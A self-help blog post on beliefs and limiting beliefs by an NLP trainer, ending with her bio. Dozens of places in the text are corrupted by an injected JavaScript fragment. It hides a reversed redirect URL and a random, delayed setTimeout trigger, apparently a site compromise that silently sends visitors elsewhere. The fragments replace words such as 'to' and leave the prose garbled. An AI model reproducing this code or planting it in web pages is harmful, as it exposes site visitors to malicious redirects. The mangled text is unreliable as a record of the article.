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tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to“>What are beliefs? And why do they matter?

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to“>Beliefs are neither true, nor untrue. They are simply thoughts that we hold, and then we act as if they are true. Our beliefs strongly guide and direct all our choices and behaviours.

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to“>Here is just one example: Some people believe that a healthy diet should be based around animal protein. Others believe that a healthy diet should be plant-based. Whichever belief you hold, you will shop, cook, eat, entertain, and possibly even choose your friends or judge other people in a way that is consistent with your own belief. Depending on the strength of your belief, it might even be reflected in your politics, your choice of clothes, your career and the way you bring up your children.

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to“>Many of the beliefs that you hold are just as influential, but you can go through life not really realising that you hold them.

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to“>Here are just a few examples of beliefs:
– about yourself, and about other people. e.g. I procrastinate, He is a go-getter.
– about what is good or bad, right or wrong. e.g. You shouldn’t eat with your mouth full.
– about your environment e.g. I need a big garden. My house is tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}too small.
– about your skills and capabilities e.g. I’m no good with numbers. I struggle tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to express myself.

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to“>In each area of our lives we hold beliefs, and sometimes we don’t even notice that they are beliefs because they are so fixed that they become “facts”.

Have you ever said ”I’m tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}too busy tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to do that…”? This is not a fact, it is a belief supported by a choice of where tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to spend your time. And choices are supported by beliefs about what’s important or necessary.

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to“>Acceptance of the status quo is also a limiting belief. I hear my corporate clients say things like “it is what it is”, or “it’s always been that way” or “we don’t do things that way round here” or “we haven’t got the resources tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to change that” or “it’s not my responsibility”, or “it won’t work, because we tried it before”.

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to“>I hear individuals saying “I can’t make a difference”, or “there’s no point in me doing anything e.g. about the environment”. Or “this is going tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be hard”.

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to“>Remember what Henry Ford said – “If you think you can, or you think you can’t – you’re right”. Or as Shakespeare put it, “There is nothing either good or bad, but thinking makes it so”.

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to“>Your beliefs tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}totally shape your reality.

tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to“>So if you want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to change your reality, start by choosing beliefs that will shape the reality that you want.




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About Madeleine Allen:  The author is a specialist in Leadership,  Communication and Personal Development for business professionals.  An NLP Trainer and Master Practitioner she conducts in-house corporate training (learn more at www.allentraining.co.uk) and public courses in NLP (learn more at www.brightlightnlp.com)

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